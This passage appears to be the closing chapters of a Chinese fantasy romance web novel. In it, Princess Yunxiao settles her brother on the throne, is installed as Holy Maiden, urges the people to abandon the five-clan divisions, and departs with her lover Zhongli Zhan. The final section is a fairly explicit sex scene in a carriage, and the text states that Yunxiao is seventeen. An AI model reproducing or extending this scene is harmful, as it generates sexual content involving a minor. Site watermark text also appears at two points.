“再说了。”钟离湛微微屈膝,与云绡平视:“怎么看我如今也不是爱美人不爱江山的帝王,而是万人之上圣女身边的小跟班吧?” 他的手指轻轻戳着云绡的胳膊,云绡往旁边挪两步,钟离湛就跟两步。 云绡气不起来了,她板着的脸彻底破功,没忍住翘起了嘴角,眉眼弯弯地看向钟离湛:“小跟班这个称呼,和你一点也不相配,你这么高,怎么也得是个带刀护卫!” 钟离湛无所谓云绡怎么与他玩笑,只要云绡别为了不相干的人不开心就好。 其实云绡有那么一瞬被何舜刺中了心间不可语的黑暗,钟离湛的确是因为她的存在,决定从此抛去身份地位甚至是自由,只跟随于她的。 云绡当然可以认是因为钟离湛不想再当帝王了,可钟离湛并非是不能。 从某种情况而言,她的确是何舜口中的蛊惑帝心的“妖妃”,但云绡即便知晓,她也还是想要如此。 她的灵魂深处永远有一小片黑暗的地方,是她的私心,她的偏执,她对在意之人的霸道占有。 她知道,钟离湛也知道。 - 云绡和钟离湛去见何舜的第二天,何舜便死在了地牢里。 被人发现的时候他的身体已经彻底泡烂了,冰冷的尸体在水中腐化了近乎一半,泥泞地被人拉了出来。 云绡不知道他是想不明白疯魔后自残,还是想明白了之后自戕。 亦或者是因为曾经赋予他长寿之力的神明力量愈发薄弱,而他本就会在昨夜凌晨死去…… 如何处理何舜的尸体也是件让人头疼的事情,谁也不敢确保这个能拿人来炼蛊的邪祟会否以假死遁地保命。 经过仲卿和云绡的商量,还是一场火将他的尸身烧个干净,放置于城外金雀岭,设阵界为护,挖水渠为拦,方能叫人安心。 处理完何舜之事,仲卿才对云绡说起了云光憧想要在皇宫西侧与她见面,时日听她安排,不过越快越好。 当日京都之变如何始如何终,云光憧都看在眼里,他对自己的这个亲妹妹看不懂的地方实在太多了。云光憧也渐渐明白,仲卿不过是他和云绡之间传话的人,而仲卿告诉他的一切决策都是云绡的指令。 云光憧本不敢再见云绡的,他不知要如何面对云绡,但他总得要知道,云绡到底想要做什么? 他算不上贪生怕死,但他也的确贪恋自己好不容易才得来的帝位,他问过仲卿云绡是否想要称帝,仲卿没给他回答,这让云光憧愈发无措和恐惧。 怀疑和猜忌包裹着惴惴不安的一颗心,云光憧已经很多天没能好好休息了。 好在云绡还是答应和他见面了。 皇宫西侧靠近神霄塔的方位,那个地方之前被破坏得最为严重,故而在修缮时这里也是最开始动工的地方,此刻看上去建筑已然恢复,朱漆鲜艳,金砖夺目。 皇城内,只有这一角崭新得像是未曾与过去割裂,屹立于废墟之中,如同与世隔绝的幻境。 新盖的院子里头种了许多春海棠,园艺弄得好,海棠花开了一小片,粉红映着嫩绿,正是欣欣向荣之相。 云绡和云光憧约定了时间于海棠花院中见面,谁也没早到没迟到,是在海棠花院的一左一右两扇月洞门一并进入了。 云光憧见到云绡的那一瞬有些退怯,在看见云绡身边跟着的男子时又怔住。 世人不知钟离湛还活着,他也没打算让自己的名声再搅弄天下风云,故而云光憧并不知道他是谁,只是从他的相貌气度上去判断,钟离湛很可能是某个他不知道的氏族大家的公子。 云光憧拿不准云绡要如何对待他,明明是如此重要的会面,她却带了个不相干的男子过来。 那男子还十分轻浮地俯身在云绡耳边说了句什么,惹得云绡笑出声。 钟离湛对云绡道:“这海棠花比我养的那株好。” 云绡心道当然,也不是哪株花都能活还活得那么小气,只开三朵的。 她刚笑出声,云光憧便干咳了两声,示意这二人自己还在。 刀悬在云光憧的脖子上,他当然急,云绡就是想要他急一急。 在云光憧出声后,云绡也就没再忽视他,而是笑着面对他:“皇兄看上去像是老了十岁。” 任何人经历过京都那场祸事都得老上十岁,也不是谁都像云绡一样,竟气色都好了许多。 时光赋予她更矫健的身体和气度,增长的年龄也让云绡看上去像朵正值盛放的花,不再瘦小孱弱,直迎骄阳,光彩夺目。 “皇兄一定很想继续当凌国的帝王吧?”云绡单刀直入,说中了云光憧最在意的事。 云光憧也直面心中恐惧,问:“我会是你的傀儡吗?” 云绡道:“曾经或许会。” 云光憧心跳停了一拍,又像是重活了过来,整个人猛地喘气……不过他还没有将心放下来便听到云绡继续说:“不过这可不代表我会放任你的所有作为。” “实话告诉你吧,我现在还没时间当凌国的帝王,所以这个位置按照亲疏远近的情况而言,也只有你暂时坐着了。我不会将你变成傀儡,一个帝王如何把持国家总得要有自己的思想和头脑,但我会一直盯着你,你知道的,我有很多双眼睛。一旦你犯了一丁点儿错,我都会看见。” 云光憧当然知道,他顿时感觉压力倍增,双肩上都像是压了一座山,但他也于心底发出一声轻松的喟叹,他并不是被赶下皇位的丧家之犬,他仍然有机会来书写属于他的精彩历史。 说完如此严肃的话题,云绡还有兴致露出笑脸:“给皇兄介绍一下。” 她将一旁闲得已经开始揪花玩儿的钟离湛扯到自己身边,双手抱住钟离湛的胳膊道:“他叫钟离湛,是我夫君,是不是看上去就很不一般?” 云光憧此刻哪儿还有心思和云绡说她何时成亲哪儿来的夫君?更别说提什么驸马什么重补婚礼之事了。 他只连连点头,尴尬地附和着:“不错不错,气质卓绝,相貌俊逸,一看便是人中龙凤。” 等到云绡和钟离湛离开了海棠花院之后,云光憧才从自己暂且保住皇位的激动中回过神来,后知后觉地想起云绡似乎并没有提起她今后要在京中坐到什么位置上? 紧接着又想起来云绡介绍她夫君时的名字,讷讷开口:“钟离……湛?!” - 圣女云绡归来的消息在云绡和云光憧于海棠花院内见了一面之后便传了出去,迎接圣女回归的盛大仪式,在京都城的城门前举行。 城中一片废墟,能站人的地方都不多,云绡也着实无法在京中等待至京都重新盖建好,那至少得数年!她和钟离湛的身后还托着一个责任,不去了结,亦不安心。 圣女任位的大典由云光憧一手操办,云光憧也是在知道云绡还是只打算当个圣女后,大大地松了口气,便将这基本奠定他帝位的仪式大包大揽在自己手中。 云绡知道这件事后还没忍住笑了一下:“很适合他。” 钟离湛和仲卿也笑了出来。 只有徐容靳面露疑惑。 云绡对徐容靳解释道:“他在成 为皇帝之前甚至都不是太子,当了近乎三十年的大皇子也只办了两年的事,其中最重要的便是举办圣仙节。” 话点到这里,几人都明白云绡笑话云光憧什么了。 曾经的圣仙节连办三天,五族共庆,以马鹿为祀,火符为礼,是为了庆贺杀神钟离湛死去。 如今世人皆知,圣仙不过是被湖族杜撰出来的假圣,而曾经的杀神亦是为百姓而死的明君。 云光憧在知道云绡身边那位的名字时,吓得彻夜难眠,就更不敢在圣女任位大典上弄出一星半点和圣仙节相似的地方……但他还是被要求挂上五族的旗帜。 时间有些赶,但云光憧尽自己所能给足了云绡所有排面,这也算是他向云绡示好的方式。 数月前一场京都之变,唯一没被破坏的恐怕就是这已经屹立了数百年的城墙,春分前一天,京都城的城墙上布满了橙红色的旗帜。 旗帜上没有任何特殊的标识来彰显云绡的身份,只有一道道祝文用金色描绘在橙红色之上。 旗帜很大也很宽,远看似在风中飞扬的火光,而火光中的金色祝文,从某些角度而言像极了京都百姓们共同经历那场浩劫时,在一场金雨中窥见的符文,这让他们倍感亲切。 城墙边上还挂着象征着五族的五彩旗帜,不同的族人都有不同的标记,很多百姓都已经自觉地站在属于自己族人的旗帜之下,他们分成了不同的列阵,但共同地昂首看向城墙上方。 云绡这一次没有像之前那样盛装打扮,她从钟离氏老宅里带来的那些宝石也都来不及为她披上一层缤纷的霞衣。 没有飘舞的花瓣,也没有钟鸣锣鼓,她一出现,所有人都能看见她只是个十多岁的妙龄少女。 云绡深知人性,一场浩劫之后京都绝大部分的人都失去了他们曾经拥有的一切,而这个时候若她太过华丽登场,或许会引起一些底层百姓的反感与仇视。 况且她需要一个盛大的出场的目的,除了稳固自身的身份地位之外,还有一件很重要的事情要做。 云绡瞥了一眼从自己跟前往周围扩散而去的五彩旗帜,偌大的旗帜在渺小的凡人面前如同遮天蔽日的天幕,他们已经在这不知多少年岁中潜移默化地将彼此分帮结派,认为自己和他人不同。 不是本性上的不同,而是本质上的不同。 云绡在行动之前,回眸看了一眼离她不远处,也站在城墙上,却是百姓看不见的地方的钟离湛。 他没和云绡一同出现,即便云绡想,哪怕让他以驸马的身份。 钟离湛什么都没说,只是大掌贴在她的后背,将她轻轻推到了众人的面前。 就如同钟离湛自己说的那样,他认为属于他的时代早就已经过去了,他是凌国之上数千年的历史,其实不应该出现在当下。 今日阳光正盛,春风和煦,钟离湛看着云绡面对城墙下密密麻麻的人群,她就站在五彩的旗帜之上,站在她喜欢的颜色之下,单薄的肩膀撑起了他曾经难以想象的力量。 这是属于云绡的时代,钟离湛不去争夺她任意一分光芒。 “我叫云绡,是凌国的十一公主!” 云绡深吸一口气道:“有一天我突然做了一场梦,那场梦境十分真实,我在梦里成为了两千多年前名叫钟离湛的帝王,他带我看见了一场属于我们凡人的浩劫,也带我看见了苍穹之上玩弄万物的天神。我目睹了他带领照国走向兴盛,也看见了他在无法挣脱的囹圄里死去,是他告诉我,凡人的浩劫并未消失!” 钟离湛的心跳在听到自己的名字时忽而漏了一拍,这和他们原本说好的不同。 而云绡仍然希望在或许是她此生最重要的场合里,与钟离湛站在一起,哪怕是他的名字。 “若把苍生比作棋盘,我们都是云上天神的棋子。而人生来平等,本不应有五族之分,是那些云上天神的存在,让我们划分成了不同的模样,拥有了不同的力量,从而争斗、掠夺…… 数月前,京都陷入了浩劫,这就像是曦帝人皇带我看见的世间真相,属于我们凡人的灾难,需要我们凡人共同去抵抗!” 说着,她凭空画符,将那在微风中发出欻欻声响的五彩旗帜拉扯住。 遮天蔽日的天幕,在众人的面前逐渐靠拢,五条彩旗穿插在彼此之间,左右缠绕,前后交互,以最牢固的方式拧在了一起。 云绡道:“这才应该是我们本来的样子!无畏什么天赐神力与否,我们都生存在同一片天空下,我们都是一个身躯并着四肢的人!我们更应该做的,是为了我们所有人更好的未来去努力创造,而不是在现有的环境中争夺!” “五族会消失的。” 云绡这句话,突然叫城墙之下的众人惶恐,她轻轻一笑,又道:“五族会消失的,但我们还会在,我们就是我们,就是凡人,就是我们看见彼此眼中的样子……最真实的样子,最自在自由的样子。” 钟离湛环臂的双手不知不觉中已经放下垂在身侧,他的目光也从一开始的温柔,逐渐变成了对云绡的欣赏和炙热。 城墙外的人声从的窃窃私语逐渐变成了沸沸扬扬。 而钟离湛那颗因为云绡而活过来的心脏剧烈地跳动着,几乎要掩盖他听到的一切喧嚣。 他的眼里渐渐看不见那些飞扬的彩色旗帜,他只能看见那道在阳光下热烈放光的身影,她比钟离湛此生所见的任何都要绚烂夺目。 好爱她啊。 钟离湛感受着心口紊乱的跳动,一遍遍重复。 他真的……好爱她啊。 爱极了她。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【完结】 第155章 云绡站在城墙上,看着城墙下方因为听到了这个消息而神色各异的人群。 有人欢欣,有人迷惘,有人兴奋,有人惆怅。 但不论他们是什么态度,如何去想云绡的话,都无法改变云绡的决定。她迎着炽阳下的微风,目光落在缠绕在一起的五彩旗帜上,心里想着那样缤纷的颜色,将来会成为代表凌国旗帜的图腾。 而这一切只是云绡想要改变的第一步,无需畏惧前路,她坚信自己定然会成功。 圣女任位之礼,在鼎沸的人声中落幕。云绡后来没有长篇大论,她给了所有人一个去畅想未来的种子,等待在她再度回到故土后,看看他们到底能开出怎样的花。 - “你要走?!” 仲卿就觉得有什么地方不对劲,等到云绡说出她不日就要离开京都之后他便有种果然如此的感觉!那种不对劲就是云绡在尽力将所有事情全都堆积在这短短几天内全部都安排妥当的急迫感。 徐容靳也觉得不可思议:“你不是才回来京都吗?这才当上圣女怎么就要走了?你要去哪儿?什么时候回来?……不对,你还回来吗?” 一连串好几个问题让云绡都不知要先回答他的哪一个,她默默翻了个白眼,对徐容靳道:“我不回来我当这个圣女做什么?” 云绡不知道这种事要不要说给徐容靳和仲卿听,便只能将目光投向钟离湛,钟离湛解释道:“棋局之上还有几个参与者尚在人世间,我与绡绡需得前往解决。” 数月前京都之变的那一仗钟离湛赢了,可不代表那些神仙就真的死了,他们全都像之前的元司一样,不过是从神坛跌落至凡尘里某些至高的山巅而已。 他们虽然神魂被打散,可依他们的本性,他们也定然也会和元司一样不甘心,在当地作祟,妄图重塑身躯。 这才是云绡和钟离湛接下来要做的事,找到参与进棋局游戏的天神残魂,将他们一一抹去,那样他们加诸在苍生灵魂上的束缚,才能得到真正的解脱。 仲卿和徐容靳都听傻了。 即便两个人深知他们知道的事情已经超出寻常人太多太多,可在听说钟离湛居然将那些高高在上的神明拉下凡尘,而今云绡还要随他一起去杀神之后……一老一壮两人双手扶在膝盖前端坐着,比那学堂里听先生说课的三岁稚童还要乖巧懂事。 “那那那、那你们快去忙,快去快去吧。” 仲卿和徐容靳僵硬地挥手,半点也不敢耽误这二人的时间。 在仲卿和徐容靳的理解里,他们以为云绡和钟离湛至多是封闭了苍穹与人间相连的那道门,谁知道钟离湛居然直接把神明从天上给拉下来了。 实在是钟离湛自跟着云绡到京都来了之后完全没有展现过他身为曦帝人皇威严的那一面,基本上都是云绡去哪儿他就去哪儿,二人有事也是私下商量。在徐容靳和仲卿面前,钟离湛全然是与他外表不符的内敛温吞的性子。 现在仲卿和徐容靳明白了,历史上中对钟离湛虽多有栽赃诬名,但至少给他起的外号是对的。 杀神不愧为杀神啊,只是此杀神非彼杀神罢了。 云光憧在知道云绡即将离开京都时,亦有种尘埃落定的松快,他表现得与何舜还有徐容靳完全不同,那张脸上的笑容就没下来过。 这还是京都发生了那场祸事之后,云光憧第一次真心实意地开心。即便他知道仲卿和徐容靳一个是云绡的眼线,一个是云绡的双臂,可他仍然高兴。 毕竟他不用再无时不刻地去想云绡身边那个名叫钟离湛的男人 到底是不是他以为的那个钟离湛了…… 云绡离京当天没有什么人来相送,只有何舜和徐容靳陪她走到了城门外。她也不是盛装打扮,便是路过的百姓至多也只朝她和钟离湛的身上多看两眼,不会把她联想到不日前才站在城墙上慷慨激昂鼓舞人心的圣女公主。 除了何舜与徐容靳,还有云光憧居然也命人前来为云绡和钟离湛践行。 在摸不准和钟离湛究竟是不是两千多年前那位杀神之前,云光憧都不敢再见钟离湛一面。 不过此番他让人带来的东西倒是出行好物——捆了三匹千里马的马车。 马车内精心装饰过的,垫了厚重的软垫,放置方桌,车壁也包了棉,车轮经过改装便是走得再快也不至太颠簸,除了这些东西还有一些耐放的京都糕点和银钱些许,够云绡和钟离湛远行了。 云绡欣然收下。 这三匹都是好马,是她即便有钱也未必能找到渠道去买的那种,轮流作为头马使用的话,这马车也不比她骑马慢了。 加上现在虽然是春天,但吹多了风仍然很冷,有马车庇护也好过许多,只要在马车上再贴两张符,无需人驾马,它们自己就会根据官路行驶。 眼看着云绡就要上马,仲卿突然上前询问:“你有多快回来?” 云绡已经坐在马车上了,闻言掀开车帘朝外看了一眼,对上仲卿那张有些苍老的脸,她心下一怔。 仲卿道:“我不是为了其他,而是怕自己……徐容靳是个傻的,要想让他在京都这些人精里头站稳脚步,只靠他自己一辈子也未必能成。我尚且有微名能帮他些许,但若在我去世之前你都没回来,只怕你在京中精心布的局也难以稳固。” 仲卿说这些用意为何,云绡知道。 她不是没给仲卿同生符,不过仲卿没要,他觉得生老病死自有定数,而且他也活够了,并不认为撑着如今这样一把老骨头借着他人的寿数再长久地活下去有何好处。 云绡想,他倒是豁达。旁人无比珍视甚至为此不知付出了多少努力又或是做了多少恶事也没能得到的长寿,在他这里也是可以轻描淡写地放弃的。 仲卿彼时老神在在,得了云绡的赞誉捏着胡子颇为自满。 眼下云绡又一次取出同生符,仲卿看见了连忙摆手:“我、我不是为了你这个。” 云绡笑道:“我当然知道你不是为了同生符,但仲卿仙师,人活一世知之无尽,所谓活到老学到老,你难道就不想拿一张同生符回去好好研究研究,钟离湛到底是怎么能赋予小小的一张纸同生他人寿命的力量?” 仲卿的眼睛登时亮了。 云绡知道,她这句话简直是打在仲卿的七寸上,让他实在没办法拒绝。 仲卿也没犹豫,伸手接过,垂眸一看,有两张。 再抬头时云绡的马车已经跑出去一截了,别说,三匹千里马来拉马车还真是好用,仲卿想追也追不上。 不过他不用追问也知道云绡的用意。 这两张同生符,一张供他研究,一张给他兜底。 望着渐行渐远的马车,仲卿忽而有种怅然若失之感,他想起不久之前他还想过要扶云绡当女帝,他改仙师为朝官,为她再拼一拼的念头。 仲卿想着,他或许能等到云绡从外头归来,但未必能等到她当女帝的那一天了。 金色的晨光洒在远去的马车上,遥遥折出几点光斑,直到那道影子几乎要看不见了仲卿才收回目光,转身欲走,看见傻大个在抹泪。 仲卿:“……你这个时候哭什么?” 徐容靳倒是不完全因为云绡离开而哭的,他一双眼意味深长地落在仲卿身上道:“义父,你是不是快死了?” 仲卿:“……” 他是快死了,被徐容靳一句话给气的。 徐容靳道:“我听见你和云绡说的话了,你是不是算到自己大限将至,所以才像交代遗嘱一样和云绡那样说?义父,你别难过,你就放心地去吧,我还年轻,我一定能等到云绡回来的,到时候……” 徐容靳的长篇大论还没说完,就被他义父一拂尘打在了头顶上,咚咚咚敲了三下响的。 徐容靳嗷了一声:“再打脑子要不灵光了!” “蠢死你得了你个憨货!” 仲卿正要撸起袖子发火呢,一错眼看见一旁云光憧派来的人还在,几个人用震惊的眼神看着他。 谁过去没见过仲卿仙师举办圣仙节祭祀祈福的活动啊?他们都曾远远看过仲卿仙师道骨仙风的尊容,都将把自己孩子送进神霄塔求学符咒阵法拜在仲卿仙师门下为荣,眼下这位气急败坏……不!声如洪钟的老者,还真是和他们记忆里的样子大相径庭了。 仲卿干咳两声,在外还是要维持自己的体面的。 他撸了一把胡子,推着徐容靳压低声音道:“你老子我还不会那么快死。” 又嘀嘀咕咕:“回去再哭,也不嫌丢人。” - 马车因为云绡贴了一张符跑得不算慢,仍然有些摇摇晃晃,可并不颠簸,云绡反而因为这么点儿摇晃,早起的瞌睡差点儿被晃出来。 打了个哈欠,云绡抱住钟离湛的胳膊整个人蜷在了他身边,闭上眼睛假寐。 才经历一场归期未定的分别,睡是睡不着的了。 钟离湛垂眸看了她一眼,问:“舍不得吗?” 云绡如今的本事还画不出同生符,就算钟离湛有心要教,也不是所有能改变命运的符咒她都能驱动无形的天地灵力为己所用。 所以她给仲卿的同生符,是向钟离湛要的。要两张的时候钟离湛还以为云绡是要给徐容靳和仲卿一人一张,却没想到她两张都给仲卿了。 生老病死乃无可更改的天命,当时钟离湛告诉云绡:“同生符在一个人的身上,只能有一次奏效,即便你给了他两张符他也只能有一次选择与谁同生的机会。” 云绡彼时回答她知道,眼下和仲卿作别后没多久便闭上眼睛看似休息,钟离湛便以为她是不舍。 仲卿或许是云绡人生中的第一个算得上长辈的人,她会忧心他的生命终点也是因为她足够在意,她的心远比她表现得要柔软得多。 钟离湛想着不知要如何安慰,便垂首在云绡的头顶上轻轻落下一吻道:“我们尽快赶回来就是。” “才不要!”云绡突然睁开眼,一脸认真地看向他:“我好不容易摆脱这两个碍事的,可以和你单独相处,咱们还没亲热几次呢就要回去了?” 钟离湛:“……?” 他愣了一瞬,问:“你不是因为仲卿年纪太大了而我们此番出门……” 钟离湛的话都没说完,就见云绡摆了摆手道:“别担心,我感觉他有得活呢。” 就凭着一个什么都不懂的徐容靳,仲卿也得努力地、好好地活着,把他的路给铺平了才舍得走。 钟离湛已经问不出那她方才看上去很疲惫惆怅的原因是什么了,总之不会是因为仲卿和徐容靳。 云绡重新抱着钟离湛的胳膊,亲亲热热地凑过去道:“我想先眯一会儿,等我们离京都远了,也远离人烟了,你要不要试一试在马车上……” 狡黠的眼睛弯成了月牙状,云绡朝钟离湛抬了抬眉,视线顺着他的胸膛一路往下,直勾勾地盯着他腰间挂着的配饰穗子垂落的方向。 钟离湛被她看的后腰一酸,立刻正经危坐起来。 他没回答,但通红着耳朵也没拒绝,云绡就知道他肯定也想。 云绡笑嘻嘻地戳了一下钟离湛绷得坚硬的腹部,不禁于心中暗叹,之前在东洲,钟离湛食髓知味般总是拉着她做这种事,云绡简直像一条鱼一样被他翻来覆去的。 可回到京中那么多双眼睛看着,云绡和钟离湛只能住在临时搭建的营帐内,那营帐没门只有帘,仲卿和徐容靳简直想进就进,她都很少能和钟离湛亲亲了。 这种事情,多了疲惫,少了又贪恋。 啧啧。 云绡有过经验之后就知道一旦和钟离湛开始那就一定会力竭也未必止,她本来早起就没休息好,眼下怎么也得先补回来,养精蓄锐! 而且现在他们还未完全离开京都范围,官道两侧都有村庄,说不定突然路边一个行人就能瞧见被风掀开的车帘内发生的一切,云绡也不打算在这种地方胡来。 钟离湛自知道云绡的想法之后便正经危坐,心里隐隐有些期待,也难免胡思乱想。 结果没一会儿,他便听见云绡均匀的呼吸声,她是真睡着了。 钟离湛:“……” 所以她方才说了那么多,把他身体都给撩拨得发烫,到现在心跳还紊乱着呢,她自己睡的喷香了? 钟离湛捏了一下熟睡中云绡的脸。 暖洋洋的太阳烘着车外,整个马车内都是温暖且舒适得恰到好处,云绡的脸也变得微微发烫,透着薄薄的粉色。 钟离湛的指腹摩挲了会儿她的脸,低声道:“小没良心的。” 没良心的云绡一觉睡到了大下午,人烟稀少的道路很窄,千里马走起来也慢了许多。 云绡伸了个懒腰,对钟离湛道:“我们先休息会儿吧,饿了。” 马车因为她说出这句话缓慢地靠着山边上行走,从压平的道路渐渐进入一旁窄小的竹林里。 柔软的竹叶铺了满地 ,马车走到无法前行的地方停了下来,林子内弯弯绕绕,前后遮拦。 这地方不像是经常有人路过,竹叶中的笋子都冒出头了。 云绡正打算下马车看看能不能弄点儿东西吃呢,便察觉到腰间一股力量箍住了她,整个人晃动,直接坐在了钟离湛的怀里。 她的后背贴上钟离湛的胸膛,立刻便感受到了钟离湛的欲求不满,云绡动也没敢动,主要是这个姿势实在是太危险了! 云绡看不见钟离湛的脸,只能听见他粗重的呼吸声带着炙热的气息喷洒在她的耳畔,云绡立刻如同煮熟了的虾子一样蜷缩起来。 她声音不似方才那样娇气,很没底气地重复一遍:“我饿了……” “嗯。”钟离湛咬了一下她的耳垂,道:“我也饿了。” 说完这话,一只大手掰着云绡的下巴让她回头,熟悉的气息扑面而来,几乎要吞没了她。 另一只手顺着云绡的前襟探入,不过轻轻揉了两下便让怀中的少女彻底卸力,整个人柔软温顺地瘫在了他的身上。 被贴了黄符的马连续跑了大半天也饿了,可四肢被困也无法走动,只能就地找草叶吃。 马车内传来微弱的声音,三匹马束起耳朵左右去看,也没见到什么奇怪的东西,只几只鸟儿扑扇着翅膀飞过。 云绡半趴在马车内的小桌案上,钟离湛的一只手按住了她的后腰让她无法挣扎,另一只手扶着她的腿。 云绡呼出的全都是热气,她从没觉得春天居然也能热成这样,热到她的汗水几乎模糊了视线,热到她喊出来的声音都像是浸透了汗水一样黏糊糊的。 竹林里的风吹动了车帘,灌入一阵林间太阳晒不到的凉意,云绡顿时被这阵风吹得似冷得颤抖,意识有那么片刻的涣散,随后渐渐因马车内热气被吹散而清晰。 钟离湛抬起头,舔了舔湿润的嘴唇,也不管鼻梁上闪烁的水光,附身就要吻她。 云绡还想挣扎呢,被人彻底困住。 “你总不至于连自己都嫌弃。”钟离湛的声音低哑。 云绡摇头:“我想看着你。” 钟离湛故意先进去,然后再将人翻了个身,与云绡面对面地吻了一下,而后紧紧地拥在一起。 云绡咬住钟离湛肩膀的时候,脑子里混沌一片,昏昏沉沉之际她突然想,今后的日子该不会一直这样吧? 那她的人生简直……太爽了! 至高无上的地位。 流芳千古的美名。 闲云野鹤的自由。 独属于她的爱侣。 这些她居然都同时拥有了! 云绡都不必去想她过去不如意的童年,便是一年前她也还在过着吃不饱穿不暖的日子,第一次遇见钟离湛时的狼狈,不过是她几乎每个月都要经历一次的日常罢了。 因为一个契机,云绡彻底改变了自己的命运,从人人都能轻蔑的不受宠的公主,变成如今受百姓簇拥着奉上高台的圣女。 一切都如走马灯似的在她眼前迅速掠过。 而这,也只是她人生的开始。 她才十七岁。 若把一个人能活到七十来算,她还有足足五十多年的快乐可以去享受。 “这才只是开始,你就体力不支了。” 钟离湛的声音伴随着他的舔吻落下,亲得云绡迷迷糊糊,又顺从地勾着他的脖子。 云绡从来都不知道,她每次红着眼睛娇娇软软地喊他哥哥,想要他轻一些或快些结束的时候,钟离湛满脑子都是重重地欺负她,一辈子都与她缠绕着才好。 “哥哥。” 钟离湛以为她张口又是像之前一样说软话求饶,结果云绡费力地抬起头在他的唇上落下轻柔的一吻。那双视线有些涣散的眼尽力在他的脸上聚焦,湿润的眼眸中倒映着钟离湛沉浸于欲海的模样。 潮湿的汗水顺着他的鬓角流下,滴在她的锁骨上。 云绡道:“能遇见你,认识你,爱上你,真是太好了。” 小公主从不吝啬告白,她的每一句情话都发自肺腑。 “我也是。”钟离湛专注地、贪婪地看着云绡的眼睛。 只有她的眼里有他的时候,他才有种他们并无时空之隔,生死之隔的踏实感。 “小仙女,遇见你,认识你,爱上你,也是我三生有幸。” 脊骨传来酥酥麻麻的痒意,是云绡的脚跟在蹭他的腰催促。 钟离湛心道,谁让她非要说动人的情话,害得他停下来。 钟离湛决定不把她……就绝不停下! 暮色沉沉,星河璀璨。 马车内的少女声音娇弱又有些颤抖:“天黑之后,我们吃烤鱼吧,我是真的饿了。” 被少女扯下了发带,长卷墨发散乱的青年瞥了一眼因车身晃动车帘翻飞而露出的一角夜色,没什么良心地嗯了声,算是答应。 “要吃你亲手烤的鱼,还要你喂。” “好。” 她像是撒娇:“我一根手指头都动不了了……” 回应她的,是低低的温柔的轻笑。 “那就睡吧。” 钟离湛贪恋这一刻的温存,他的心偏向云绡。 他们的未来还很久远,便是杀神平怨,也还有很长的时间。 睡醒之后,他会把烤鱼烤好。 睡醒之后,他们再离开竹林。 这一次离京他们的身后并无追兵。 这一次,才是他们真正的自由。 -(完)-魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m